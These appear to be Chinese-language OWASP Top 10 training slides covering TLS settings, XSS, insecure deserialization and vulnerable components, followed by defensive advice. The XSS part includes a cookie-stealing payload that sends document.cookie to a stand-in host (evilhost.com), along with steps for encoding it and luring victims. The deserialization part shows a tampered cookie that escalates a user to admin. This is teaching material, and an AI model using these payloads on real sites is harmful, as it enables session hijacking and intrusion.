  - ✓ 關閉有問題的 TLS v1.1、TLS v1.0、SSLv3、SSLv2
- 避免使用有問題的加密法或Hash
  - ✓ 不要再使用DES、3DES、MD5、RC4
- 加密長度
  - ✓ 1024 以上
- Implementation(產品/程式碼)使用最新版
- 參考文件
  - ✓ <http://blog.jobbole.com/80591/> (SSL/TLS 部署最佳實踐 v1.3)
  - ✓ <https://www.ssllabs.com/projects/best-practices/>

# 部署強化 → “Secure Defaults”

## ➤ 主機設定

- ✓ OS / 系統元件是否更新上patch
- ✓ 修改預設登入帳密
- ✓ 關閉不必要的網路服務(service ports)

## ➤ 網站環境設定

- ✓ SSL 設定
- ✓ Web Server 設定


- 關閉目錄瀏覽權限
- 關閉檔案執行權限
- 限縮Google搜尋範圍
- OS執行權限最小化

## ➤ 網頁系統設定

- ✓ 移除 “debugging modes”
  - Log、backdoor、PW、comment
- ✓ 強化管理帳密
- ✓ 開啟存取控管設定
- ✓ 資料庫存取權限最小化



[https://pic.pimg.tw/appause29/1456553329-2587487144\\_n.jpg](https://pic.pimg.tw/appause29/1456553329-2587487144_n.jpg)



## A7 - Cross-Site Scripting (XSS)



XSS (生:1996 ~ 卒:?)

駭客

偷偷讓網站閱讀者  
做駭客指定的事情 ~

# 反射式XSS範例：搜尋引擎！

The screenshot shows a Google search results page for the query "XSS". The search bar at the top contains "XSS". The results page has a standard layout with a sidebar on the left containing filters like "全部", "網路", "不限時間", "標準檢視", and "更多搜尋工具". The main content area displays several search results:

- Cross-site scripting - Wikipedia, the free encyclopedia** - [翻譯此頁]  
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject ...  
[en.wikipedia.org/wiki/Cross-site\\_scripting](http://en.wikipedia.org/wiki/Cross-site_scripting) - 頁庫存檔 - 類似內容
- 精華區:台灣PHP聯盟[ Taiwan PHP User Group ]**  
XSS(Cross Site Scripting)攻擊會讓您遺失Cookie中的資料 ... 跨網站攻擊程式(XSS)指的是一種能夠威脅任何網站應用的形式，而它的嚴重性往往被低估了；這個問題所帶來 ...  
[twpug.net/modules/smartersection/item.php?itemid=34](http://twpug.net/modules/smartersection/item.php?itemid=34) - 頁庫存檔 - 類似內容
- XSS測試語法大全-網路攻防戰**  
2007年7月4日 ... XSS測試語法大全 發佈者：OpenBlue 發佈時間22:50. 註：以下文章非本人撰寫為中國大陸網路 .... <http://anti-hacker.blogspot.com/2007/07/xss.html> ...  
[anti-hacker.blogspot.com](http://anti-hacker.blogspot.com) 惡意程式 - 頁庫存檔 - 類似內容
- Blog.XDite.net » 十多分鐘抵禦XSS且擊退攻擊的神奇技術？**  
2006年11月21日 ... 所謂XSS (Cross Site Scripting)，其實並不是什麼狂抽猛送灌流量的攻擊技術，所以並不會有攻防與逼退對方的情形產生。它的手法類似於釣魚詐騙，誘騙 ...  
[blog.xdite.net/?p=209](http://blog.xdite.net/?p=209) - 頁庫存檔 - 類似內容

# 故事就是這樣開始的 ....

```
<%
...
Response.Write "<div class='label'>以下是您要搜尋的資料</div><br />"
Response.Write "關鍵字: " & Request.Form("SearchKeyWord")
...
%>
```


# 反射式XSS範例 (cont.)



The screenshot shows a web page with a search bar containing the value "<script>alert(1111)</s>". Below the search bar, there is a banner with three images and the text "DEMO SITE ONLY". A sidebar on the left contains a photo and the text "INSIDE ALTORO MUTUAL". The main content area has a heading "Privacy and Security" followed by a paragraph about employee dedication to privacy and security.

## Search Results


No results were found for the query:



The screenshot shows the browser's developer tools code editor with the URL "http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert%281111%29%3C%2Fscript%3E - 原先的原始檔". The code editor displays the following HTML snippet at line 80:

```
72 <td valign="top" colspan="3" class="bb">
73
74
75 <div class="f1" style="width: 99%;>
76
77 <h1>Search Results</h1>
78
79 <p>No results were found for the query:<br /><br />
80 <span id="_ctl10__ctl10_Content_Main_lblSearch"><script>alert(1111)</script></span></p>
81
82 </div>
83
84
```

# 寫入式XSS範例：留言板



# 攻擊一：身份盜用

自由電子報-生活新聞 - Microsoft Internet Explorer

檔案(Alt) 編輯(Alt) 檢視(Alt) 我的最愛(Alt) 工具(Alt) 說明(Alt)

上一頁 前一頁 後一頁 上一頁 下一頁 紙面版 常規版 畫面版 網址(Alt) http://www.libertytimes.com.tw/2006/new/nov/21/today-life4.htm

**自由電子報** www.libertytimes.com.tw

台灣優先 自由第一

本社簡介 聯絡我們 我要訂報 回首頁

生活新聞

2006年11月21日星期二

新聞查詢  
可同時查詢多個關鍵字句

相關新聞

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- 美防酒駕 車上裝酒精偵測器
- 歐洲七城 無號誌…更安
- 無名小站遇「駭」 個資流入中國
- 舊香蘭遺址 首見黃金加工業
- 帕金森腦晶片 慈濟願納健保
- 感冒藥不給付？健保局駁斥
- 脈優錠假藥風波 侯勝茂：錯在華濟 民眾可索賠
- 室內禁菸 朝野意見撲朔迷離
- 46天無補給台灣第一人 中央山脈大縱走 黃魏慶獨行
- 網路秀菸盒 罰！

**今日要聞**

生活新聞

**無名小站遇「駭」 個資流入中國**

大三生與高三生 兩人聯手入侵

〔記者黃敦硯、袁世忠／台北報導〕台灣最大部落格網站「無名小站」發生會員資料外洩事件！刑事警察局偵九隊三組查獲由東海大學大三陳姓學生與洪姓高三生組成的駭客集團，以「XSS漏洞」方式入侵無名小站。

**中國駭客竟仿效 連結下載個資**

警方已將兩人先以妨害電腦使用罪嫌送辦。不過，他們的手法似已引發中國駭客仿效，將取得的個人資料貼在中國的網站上，甚至還提供一個檔案連結，讓網友可以下載他所抓得的部分無名小站用戶資料。

「無名小站」存有近兩百萬會員個人資料的資料庫，因此成為駭客練功的最愛之一。警方發現陳某涉嫌以「XSS漏洞」方式入侵無名小站，同時還在台灣駭客年會發表專題時，發表自己入侵無名小站的方法與駭客分享。

鑽XSS漏洞 侵30餘學校企業

網際網路

# 攻擊步驟：以無名小站為例

## ➤ 找到可用的URL –

✓ *http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=<script>alert(document.cookie)</script>&search\_title=1*



會彈出小視窗，確認存在弱點！

# 結合編碼與社交工程

## ➤ 特製惡意網址

*http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=<script>location.replace("http://www.evilhost.com/getcookie.asp?k="+document.cookie)</script>&search\_title=1*

## ➤ 將其編碼

*http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=%3C%73%63%72%69%70%74%3E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%31%30%34%2C%31%31%36...(略)&search\_title=1*

## ➤ 到論壇求救

✓ 『我 blog 有問題 /\_ \(，麻煩到 這裡 看一下 』 ...

# 拿到cookie後進行冒名登入



## 攻擊二：種惡意程式

### ➤ 透過 XSS 讓使用者中惡意程式

- ✓ 攻擊 **Browser**
- ✓ 攻擊 **Office**
- ✓ 攻擊 **Adobe**
- ✓ 攻擊 **WinRAR**
- ✓ 攻擊 .....

### ➤ 由惡意程式到使用者電腦上挖寶



# 攻擊三：網頁被置換？

<http://anti-hacker.blogspot.com/2009/08/sorry.html>

The screenshot shows a modified version of the official website of the Office of the President of the Republic of China (Taiwan). The header includes the date '2009-08-27 PM 22:09' and links for '網站導覽', '兒童版', 'English', and a magnifying glass icon. The main title '中華民國總統府' and its English translation 'Office of the President, Republic of China (Taiwan)' are present, along with the national flag and a building illustration. A navigation menu on the left lists various sections like '總統專欄', '副總統專欄', etc. The central content area features a video player showing a man in a suit, with a progress bar indicating '0:05 / 0:45'. The overall layout is identical to the original site but contains malicious content.



[http://demo.testfire.net/search.aspx?txtSearch=<iframe src=http://googletune.com/watch?v=Na0RVRx8\\_qw height=600 width=600>](http://demo.testfire.net/search.aspx?txtSearch=<iframe src=http://googletune.com/watch?v=Na0RVRx8_qw height=600 width=600>)



# 防護建議

➤ 輸入檢查 + 輸出轉換！

➤ 輸入檢查

✓ 白名單 → 長度！

✓ 黑名單 ..... (除非白名單無法使用)

```
set Reg = new RegExp  
with Reg  
    .Pattern = "[^#;()<>,=+]"  
    .Global = True  
end with  
test = Reg.Replace( Request.QueryString("test") , "" )
```

<<script>>... ?!  
<scr<script>ipt> ....?!

# 防護建議(cont.)

➤.NET 1.1 之後預設會檢查，但是....

A screenshot of Microsoft Internet Explorer demonstrating a cross-site scripting (XSS) attack detection. The top window shows a form with a text input containing "Hello world!" and a button labeled "Click Me!". The bottom window shows an error message: "A potentially dangerous Request.Form value was detected from the client (\_ctl1=<script>)". The error details page includes the following text:

**Server Error in '/Code' Application.**

**A potentially dangerous Request.Form value was detected from the client (\_ctl1=<script>).**

**Description:** Request Validation has detected a potentially dangerous client input value, and processing of the request has been aborted. This value may indicate an attempt to compromise the security of your application, such as a cross-site scripting attack. You can disable request validation by setting validateRequest=false in the Page directive or in the configuration section. However, it is strongly recommended that your application explicitly check all inputs in this case.

**Exception Details:** System.Web.HttpRequestValidationException: A potentially dangerous Request.Form value was detected from the client (\_ctl1=<script>).

**Source Error:**

```
<%@ Page validateRequest="false" %>
```

The source code at the bottom shows the validation exception being thrown:

```
[HttpRequestValidationException (0x80004005): A potentially dangerous Request.Form value was detected from the client (_ctl1=<script>).]
System.Web.HttpRequest.ValidateString(String s, String valueName, String collectionName)
NameValueCollection(NameValueCollection nvc, String collectionName)
()
BaseOnMethod()
PostBackMode()
ier.DeterminePostBackMode()
itMain()
it()
it(HttpContext context)
itep.System.Web.IExecutionStep.Execute()
itep(IExecutionStep step, Boolean completedSynchronously)
```

# 防護建議(cont.)

讚

## ➤ 輸出轉換 : Sanitization(消毒)

- ✓ 透過編碼，告訴瀏覽器這些是“資料” !!!
  - 如果輸出資料到網頁內容 → HTML-Encoding

Character	HTML Entity
<	&lt;
>	&gt;
&	&amp;
"	&quot;
,	&sbquo;
	&nbsp;
#	&#35;
'	&#39;
(	&#40;
)	&#41;
+	&#43;
:	&#58;
;	&#59;
=	&#61;

C# Example:

```
StringBuilder sb = new StringBuilder();
HttpUtility.HtmlEncode(input));
sb.Replace("&lt;b&gt;", "<b>");
sb.Replace("&lt;/b&gt;", "</b>");
sb.Replace("&lt;i&gt;", "<i>");
sb.Replace("&lt;/i&gt;", "</i>");
Response.Write(sb.ToString());
```

PHP:

*Ensure output is passed through  
htmlentities() or htmlspecialchars()*

ASP : Server.HTMLEncode(string)

Java :

```
import static org.apache.commons.lang.StringEscapeUtils.escapeHtml;
// ...
String source = "The less than sign (<) and ampersand (&) must be escaped before using them";
String escaped = escapeHtml(source);
```

- 如果輸出資料到網址區 → URL-Encoding

例: .NET : (System.Web) HttpUtility.UrlEncode()

# 防護建議(cont.)

## ■線上報名資料維護：

線上填寫成功，可使用身分證字號，出生年月日及任一聯絡電話作為密碼再次進入系統：

身分證字號	<input type="text"/>
生 日	1980 <input type="button" value="年"/> 1 <input type="button" value="月"/> 1 <input type="button" value="日"/>
電 話	<input type="text"/> (不需填區碼)
<input type="button" value="確定"/>	

<script>alert(1111)</script>~

履歷填寫若有任何問題，請您 email 至 [hr@123.com.tw](mailto:hr@123.com.tw) 或洽服務電話：(02) 2345-6789

https://123.com.tw/Job/JobList/JobDetail.aspx?ErrMsg=%3Cscript%3Ealert(1111)%3C/script%3E~&PositionNo=MA - 原先的原始檔

檔案(E) 編輯(E) 格式(O)

```
113 <input name="birth" type="hidden" />
114 <input name="step" type="hidden" value="login" />
115 <input name="PositionNo" type="hidden" class="button" value="MA" />
116 <input name="B1" type="submit" class="button" value="確定" />
117 </td>
118 </tr>
119 </table>
120 </form>
121 <font color="red" class="font-9">&lt;script&gt;alert(1111)&lt;/script&gt;~</font>
122 <p align="center"><font SIZE="2" color="#FF0000">履歷填寫若有任何問題，請您
123 email 至 hr@123.com.tw
124 或洽服務電話：(02) 2345-6789 </font></p>
125 </center>
```

# 防護建議(cont.)

✓ 使用 Framework 所提供的相關資源

– .NET

➤ Microsoft Anti-XSS Library

([https://www.owasp.org/index.php/.NET\\_AntiXSS\\_Library](https://www.owasp.org/index.php/.NET_AntiXSS_Library))

■ System.Web.Security.AntiXss

■ 使用方式：<http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/>

– JAVA:

➤ DeXSS -- Java program for removing JavaScript from  
HTML (<http://dexss.org>)

➤ How to Build an HTTP Request Validation Engine for Your  
J2EE Application

([http://www.owasp.org/index.php/How\\_to\\_Build\\_an\\_HTTP\\_Request\\_Validation\\_Engine\\_for\\_Your\\_J2EE\\_Application](http://www.owasp.org/index.php/How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application))

# 防護建議(cont.)

## *MS Anti-XSS Library 程式範例：*

[https://msdn.microsoft.com/zh-tw/library/system.web.security.antixss.antixssencoder\(v=vs.110\).aspx](https://msdn.microsoft.com/zh-tw/library/system.web.security.antixss.antixssencoder(v=vs.110).aspx)

[https://www.owasp.org/index.php/ASP.NET\\_Output\\_Encoding](https://www.owasp.org/index.php/ASP.NET_Output_Encoding)

### AntiXssEncoder

By default the ASP.NET encoding methods use a black-listing technique that evaluates the string for a set of character combinations that may indicate presence of a Cross Site Scripting attack. Starting with ASP.NET 4.5 you can specify that the AntiXssEncoder from this library be used as the default encoder.

```
<httpRuntime encoderType="System.Web.Security.AntiXss.AntiXssEncoder" />
```

If you are using a version of .NET earlier than 4.5, you will need to download and include the library as a reference to your project, and then use the earlier library's class.

```
<httpRuntime encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" />
```

In addition to the common `HtmlEncode` and `UrlEncode` methods, the Anti-Cross Site Scripting Library provides the following `AntiXssEncoder` methods for more control over encoding.

### CssEncode

Encodes the specified string for use in cascading style sheets (CSS). This method encodes all characters except those that are in the safe list, by using the CSS encoder.

alert('XSS Attack!');	alert%00028%00027XSS%00020Attack%00021%00027%00029%0003B
user@contoso.com	user%00040contoso%0002Ecom

### HtmlFormUrlEncode

Encodes the specified string for use in form submissions whose MIME type is "application/x-www-form-urlencoded". This method encodes all characters except those that are in the safe list, by using the URL encoder.

alert('XSS Attack!');	alert%28%27XSS+Attack%21%27%29%3B
user@contoso.com	user%40contoso.com

### XmleAttributeEncode

Encodes the specified string for use in XML attributes, and is slightly more restrictive than `XmleEncode` below. This method encodes all characters except those that are in the safe list, by using the XML attribute encoder.

alert('XSS Attack!');	alert(&apos;XSS&#32;Attack!&apos;);
<script>alert('XSS&#32;Attack!');</script>	&lt;script&gt;alert(&apos;XSS&#12354;Attack!&apos;);&lt;/script&gt;

### XmleEncode

Encodes the specified string for use in XML. This method encodes all characters except those that are in the safe list. Characters are encoded by using &#DECODEME;.

alert('XSS Attack!');	alert(&#39;XSS&#32;Attack!&#39;);
<script>alert('XSS&#32;Attack!');</script>	&lt;script&gt;alert(&apos;XSS&#12354;Attack!&apos;);&lt;/script&gt;

## **Listing 1. Convert characters to HTML entity name**

```
public class EscapeUtils {  
  
    public static final HashMap m = new HashMap();  
    static {  
        m.put(34, """); // < - less-than  
        m.put(60, "<"); // < - less-than  
        m.put(62, ">"); // > - greater-than  
        //User needs to map all html entities with their corresponding decimal values.  
        //Please refer to below table for mapping of entities and integer value of a char  
    }  
  
    public static String escapeHtml() {  
        String str = "<script>alert(\"abc\")</script>";  
        try {  
            StringWriter writer = new StringWriter((int)  
                (str.length() * 1.5));  
            escape(writer, str);  
            System.out.println("encoded string is " + writer.toString());  
            return writer.toString();  
        } catch (IOException ioe) {  
            ioe.printStackTrace();  
            return null;  
        }  
    }  
  
    public static void escape(Writer writer, String str) throws IOException {  
        int len = str.length();  
        for (int i = 0; i < len; i++) {  
            char c = str.charAt(i);  
            int ascii = (int) c;  
            String entityName = (String) m.get(ascii);  
            if (entityName == null) {  
                if (c > 0x7F) {  
                    writer.write("&#");  
                    writer.write(Integer.toString(c, 10));  
                    writer.write('');  
                } else {  
                    writer.write(c);  
                }  
            } else {  
                writer.write(entityName);  
            }  
        }  
    }  
}
```



# 防護建議(cont.)

## – OWASP ESAPI (Enterprise Security API) (<https://www.owasp.org/index.php/EASPI#tab=Home>)

### ● 支援語言：

- ✓ Java EE
- ✓ .NET
- ✓ Classic ASP
- ✓ PHP
- ✓ ColdFusion & CFML
- ✓ Python
- ✓ Haskell


### ● 下載：

- <https://www.owasp.org/index.php/EASPI#tab=Downloads>

### ● XSS:

- XSS (Cross Site Scripting) Prevention Cheat Sheet
- [https://www.owasp.org/index.php/XSS\\_\(Cross\\_Site\\_Scripting\)\\_Prevention\\_Cheat\\_Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)

– OWASP ESAPI (Enterprise Security API) ( <a href="https://www.owasp.org/index.php/EASPI#tab=Home">https://www.owasp.org/index.php/EASPI#tab=Home</a> )	● 支援語言：	● 下載：	● XSS:																																								
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## A8- Insecure Deserialization

# Insecure Deserialization

➤ 攻擊者在欲被反解譯(de-serialize)回物件的byte stream內容中輸入自訂的字串以達到攻擊目標：

- ✓ Remote code execution
- ✓ Access-control-related attacks
- ✓ Denial of Service(DoS)
- ✓ ....

## Description

Data which is untrusted cannot be trusted to be well formed. Malformed data or unexpected data could be used to abuse application logic, deny service, or execute arbitrary code, when deserialized.


[https://www.owasp.org/index.php/Deserialization\\_of\\_untrusted\\_data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data)

# Serialization Basic

<https://docs.oracle.com/javase/tutorial/jndi/objects/serial.html>

## ➤ To serialize an object

- ✓ to convert **its state** to **a byte stream** so that the byte stream can be reverted back into a copy of the object.



<https://www.javatpoint.com/images/core/java-serialization.png>

	用途	位置 / 型態
	資料儲存	Cache、File、DB ....
	系統橋接	RPC、Web Services、Message Brokers .....
	存取控制	HTTP Cookies、Form Variables .....

## ➤ Sample: File → UI Object

*Example Language: Java*

```
try {
    File file = new File("object.obj");
    ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
    javax.swing.JButton button = (javax.swing.JButton) in.readObject();
    in.close();
}
```

## ➤ Sample: Authentication Token

*Example Language: Python*

```
try {
    class ExampleProtocol(protocol.Protocol):
        def dataReceived(self, data):

            # Code that would be here would parse the incoming data
            # After receiving headers, call confirmAuth() to authenticate

        def confirmAuth(self, headers):
            try:
                token = cPickle.loads(base64.b64decode(headers['AuthToken']))
                if not check_hmac(token['signature'], token['data'], getSecretKey()):
                    raise AuthFail
                self.secure_data = token['data']
            except:
                raise AuthFail
}
```

# Attack Samples

## ➤ Sample: Super Cookie for Access Control

```
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";  
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} 
```

越權(提權)

```
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";  
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} 
```

## ➤ JAVA世界中不安全的反序列化風險

- ✓ [http://www.digicentre.com.tw/industry\\_detail.php?id=37](http://www.digicentre.com.tw/industry_detail.php?id=37)
- ✓ 由於攻擊者利用Java反射機制的副作用，在物件return之前就將所有動作執行完畢，導致反序列化在解開byteStream時並且跳出error之前就將Payload全數執行。導致攻擊者只要掌握後端程式中有何種函式庫，將函式庫中各種函式做組合，跨函式庫呼叫函式組合成Gadget Chain，最終執行Runtime.getRuntime().exec()以執行任意惡意代碼。



<https://www.zdnet.com/article/cisco-update-now-to-fix-critical-hardcoded-password-bug-remote-code-execution-flaw/>

2018.3

**ZDNet** EDITION: ▾

BUILD 2018 MICROSOFT EMBRACES ANDROID AND IOS, EXTENDS TIMELINE FEATURE

# Cisco: Update now to fix critical hardcoded password bug, remote code execution flaw

Cisco patches two serious authentication bugs and a Java deserialization flaw.

By Liam Tung | March 8, 2018 -- 14:20 GMT (22:20 GMT+08:00) | Topic: Security

Using the hardcoded password an attacker could log in to the PCP's Linux operating system via SSH as a low-privileged user, and from there, elevate to root.

The second critical flaw affects Cisco's Secure Access Control System (ACS) and could allow a remote, unauthenticated attacker to execute arbitrary commands on the device with root privileges.

**Download today:** IT leader's guide to cyberattack recovery

"The vulnerability is due to insecure deserialization of user-supplied content by the affected software. An attacker could exploit this vulnerability by sending a crafted serialized Java object," Cisco said.

Copyright of STI



2018.4

# Adobe patches critical vulnerabilities in Flash, InDesign

A set of vulnerabilities impacting Coldfusion has also been resolved. The bugs impact the 2016 ColdFusion release update 5 and earlier, as well as ColdFusion 11, update 13 and earlier versions.

Two critical vulnerabilities, [CVE-2018-4939](#) and [CVE-2018-4942](#), are bugs which permit the deserialization of untrusted data and unsafe XML external entity processing. If exploited, these security flaws may lead to remote code execution and information disclosure.

26 total entries

Date	D	A	V	Title	Platform	Author
2018-04-22		-		Oracle Weblogic Server 10.3.6.0 / 12.1.3.0 / 12.2.1.2 / 12.2.1.3 - Deserialization Remote...	Multiple	brianwrf
2018-02-07		-		Adobe Coldfusion 11.0.0.3292866 - BlazeDS Java Object Deserialization Remote Code...	Windows	Faisal Tameesh
2018-01-30		-		HPE iMC 7.3 - RMI Java Deserialization	Windows	Chris Lyne
2018-01-29		-		Oracle WebLogic - wls-wsat Component Deserialization Remote Code Execution (Metasploit)	Multiple	Metasploit
2017-12-19		-		Jenkins - XStream Groovy classpath Deserialization (Metasploit)	Multiple	Metasploit
2017-09-27		-		Oracle WebLogic Server 10.3.6.0 - Java Deserialization Remote Code Execution	Java	SlidingWindow
2017-09-21		-		ERS Data System 1.8.1 - Java Deserialization	Windows	West Shepherd
2017-09-19		-		HPE < 7.2 - Java Deserialization	Java	Raphael Kuhn
2017-07-30		-		Jenkins < 1.650 - Java Deserialization	Java	Janusz...
2017-06-10		-		VMware vSphere Data Protection 5.x/6.x - Java Deserialization	Multiple	Kelly Correll
2017-05-05		-		CloudBees Jenkins 2.32.1 - Java Deserialization	Java	SecuriTeam
2017-03-27		-		Github Enterprise - Default Session Secret and Deserialization (Metasploit)	Linux	Metasploit
2017-03-15		-		IBM WebSphere - RCE Java Deserialization (Metasploit)	Windows	Metasploit
2017-02-09		-	-	Exploiting Node.js deserialization bug for Remote Code Execution	Papers	Ajin Abraham
2016-11-28		-		Red Hat JBoss EAP - Deserialization of Untrusted Data	Java	...
2016-07-20		-		Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization,,,	Multiple	Nikhil...
2015-12-15		-		Jenkins CLI - RMI Java Deserialization (Metasploit)	Java	Metasploit
2013-01-29		-		Ruby on Rails - JSON Processor YAML Deserialization Code Execution (Metasploit)	Multiple	Metasploit
2013-01-10		-		Ruby on Rails - XML Processor YAML Deserialization Code Execution (Metasploit)	Multiple	Metasploit
2010-09-27		-		Java - RMIClientImpl Deserialization Privilege Escalation (Metasploit)	Multiple	Metasploit
2010-09-20		-		Sun Java - Calendar Deserialization (Metasploit)	Multiple	Metasploit
2009-05-20		-		Apple Mac OSX - Java applet Remote Deserialization Remote (2)	OSX	Landon Fuller
2008-12-03		-		Sun Java Runtime and Development Kit 6 Update 10 - Calendar Deserialization (Metasploit)	Multiple	sf
2007-03-25				PHP < 4.4.5/5.2.1 - '_SESSION' Deserialization Overwrite	Linux	Stefan Esser
2007-03-04				PHP < 4.4.5/5.2.1 - WDDX Session Deserialization Information Leak	Multiple	Stefan Esser
2007-03-04				PHP < 4.4.5/5.2.1 - PHP_binary Session Deserialization Information Leak	Multiple	Stefan Esser

# 防護建議

[https://www.owasp.org/images/7/72/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf)  
[https://www.owasp.org/index.php/Deserialization\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Deserialization_Cheat_Sheet)

讚

➤ [OWASP]: “The only safe architectural pattern is not to accept serialized objects from untrusted sources or to use serialization mediums that only permit primitive data types”.

➤ 其他

- ✓ 盡量使用JSON、XML此類常用格式
- ✓ 完整性檢查(例如透過數位簽章機制)

✓ For Java:

- Use a **safe replacement** for the generic **readObject()** method .
- Use the “**transient**” keyword to denote **nonserializable fields**.
- Explicitly define a **final object()** to prevent deserialization.

✓ 認證與紀錄呼叫者

✓ 限縮程式執行權限


✓ 執行錯誤時紀錄Log

- 資料型態錯誤

- 異常頻率

✓ 針對執行de-serialization的主機監控其是否有異常網路行為

```
private final void readObject(ObjectInputStream in) throws java.io.IOException {  
    throw new java.io.IOException("Cannot be serialized");  
}
```



## ✓ Tools


[https://www.owasp.org/index.php/Deserialization\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Deserialization_Cheat_Sheet)

### Mitigation Tools/Libraries

- Java secure deserialization library <https://github.com/ikkisoft/SerialKiller>
- SWAT (Serial Whitelist Application Trainer) <https://github.com/cschneider4711/SWAT>
- NotSoSerial <https://github.com/kantega/notserial>

### Detection Tools

- Java deserialization cheat sheet aimed at pen testers
- A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
- Java De-serialization toolkits <https://github.com/brianwrf/hackUtils>
- Java de-serialization tool <https://github.com/frohoff/yso serial>
- Java de-serialization detection by DNS <https://github.com/GoSeecure/break-fast-serial>
- Burp Suite extension [https://github.com/federicodotta/Java\\_Deserialization\\_Scanner/releases](https://github.com/federicodotta/Java_Deserialization_Scanner/releases)
- Java secure deserialization library <https://github.com/ikkisoft/SerialKiller>
- Serianalyzer is a static bytecode analyzer for deserialization <https://github.com/mbechler/serianalyzer>
- Payload generator <https://github.com/mbechler/marshalsec>
- Android Java Deserialization Vulnerability Tester <https://github.com/modzero/modjoda>
- Burp Suite Extension
  - JavaSerialKiller <https://github.com/NetSPI/JavaSerialKiller>
  - Java Deserialization Scanner [https://github.com/federicodotta/Java\\_Deserialization\\_Scanner](https://github.com/federicodotta/Java_Deserialization_Scanner)
  - Burp-ysoserial <https://github.com/summitt/burp-ysoserial>
  - SuperSerial <https://github.com/DirectDefense/SuperSerial>
  - SuperSerial-Active <https://github.com/DirectDefense/SuperSerial-Active>



## ✓ Tools(cont.)

### – Java secure deserialization library : “SerialKiller”

➤ <https://github.com/ikkisoft/SerialKiller>

#### How to protect your application with SerialKiller

1. Download the latest version of the [SerialKiller's Jar](#). Alternatively, this library is also available on [Maven Central](#)
2. Import [SerialKiller's Jar](#) in your project
3. Replace your deserialization [ObjectInputStream](#) with SerialKiller
4. Tune the configuration file, based on your application requirements

# A9 - Using Components with Known Vulnerabilities

# 連開發工具都可能有問題

<http://3c.ltn.com.tw/news/20572>

## iOS App 大爆漏洞！一次中招 344 款 App！

文 / 記者陳宜豐 / 2015-09-20 15:44



iPhone / iPad 的使用者請注意！倘若你正有使用這 344 款 iOS App，那可要趕快確認一下是否已更新到修正的版本了，以免成為手機駭客入侵的對象！國外媒體指出，部分中國手機 APP 開發商因使用了非蘋果公司官方提供的 Xcode 開發工具，所開發出的 App 被有心人士植入木馬後門程式，只要安裝這些 App，就會成為駭客入侵的對象！

主要起因是這些 App 開發商在開發 App 時，採用非蘋果官方提供的 Xcode 開發工具，以致被 XcodeGhost 病毒進行植入攻擊，在使用者安裝 App 後，病毒會向伺服器傳送用戶數據，顯示假的彈出視窗，可能是手機付款失敗或是要求下載某個 App 等等，這時若使用者按下下載安裝，病毒就可以透過 API 進行對手機的攻擊行為或是傳送用戶隱私資料到特定伺服器。

The screenshot shows a blog post titled "Xcode 编译器后门事件" (Xcode Compiler Backdoor Event) from the website novus.pixnet.net. The post discusses the discovery of a backdoor in Xcode compilers downloaded from non-official channels, which inserts malicious code into apps. It mentions the involvement of Chinese app developers and the use of Xcode as the development tool. The post also links to a source on drops.wooyun.org.

對岸有網友發現從某些非官方管道下載的 XCode 編譯器，會在編譯出來的 APP 中植入特殊的可執行碼。目前植入的可執行碼無害，只是會蒐集一些資訊回報給託管在 Amazon 的伺服器。但這可能只是試水溫的作品，未來很有可能會出現更強的應用。

目前被感染的 XCode 編譯器似乎是來自迅雷、百度等個人網路硬碟。按原文描述，散播該後門的人混跡於開發者社群當中，只要有機會就向人提供他自己網路硬碟上的「鏡像下載點」。例如當 XCode 官方發布新版本時，他也會好心的公告給社群中的人，並且提供下載位址。又或者有人詢問如何建立開發環境時，他也會藉機提供下載位置。


讓我覺得頗為驚訝的是，已知有若干大公司出品的 App 也中招，難道這些大公司的開發團隊或協力廠商不去官網下載 toolchain，反而使用陌生私人網路硬碟的二進制檔？

有一位網友提到一個耐人尋味的現象：「還是不能相信迅雷，我是把官網上的下載URL複製到迅雷里下載的，還是中招了。」如果這是真的，那麼對岸的網路硬碟服務就不是普通的恐怖。

我對 XCode 的 toolchain 完全不了解，不過看起來它是透過替換基礎程式庫的方式感染目標程式，這個方法相對簡單很多，影響層面也比較低。我的意思是，不至於像 Ken Thompson 示範的那樣在編譯階段改寫 AST，可以再傳染給用這個編譯器建置的編譯器。

# Case1: Struts

<https://www.exploit-db.com/>



The Exploit Database website interface is shown, featuring a navigation bar with links for Home, Exploits, Shellcode, Papers, Google Hacking Database, Submit, and Search. A search bar is also present. The main content area displays a table of 28 total entries related to Apache Struts vulnerabilities, sorted by Date.

Date	D	A	V	Title	Platform	Author
2017-09-08	↳	-	🕒	Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution	Multiple	brianwrf
2017-09-06	↳	📅	🕒	Apache Struts 2.5 < 2.5.12 - REST Plugin XStream Remote Code Execution	Linux	Warflop
2017-07-07	↳	-	🕒	Apache Struts 2.3.x Showcase - Remote Code Execution	Multiple	Vex Woo
2017-06-06	↳	-	🕒	Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution	Multiple	nixawk
2017-03-15	↳	-	✓	Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - 'Jakarta' Multipart Parser OGNL Injection...	Multiple	Metasploit
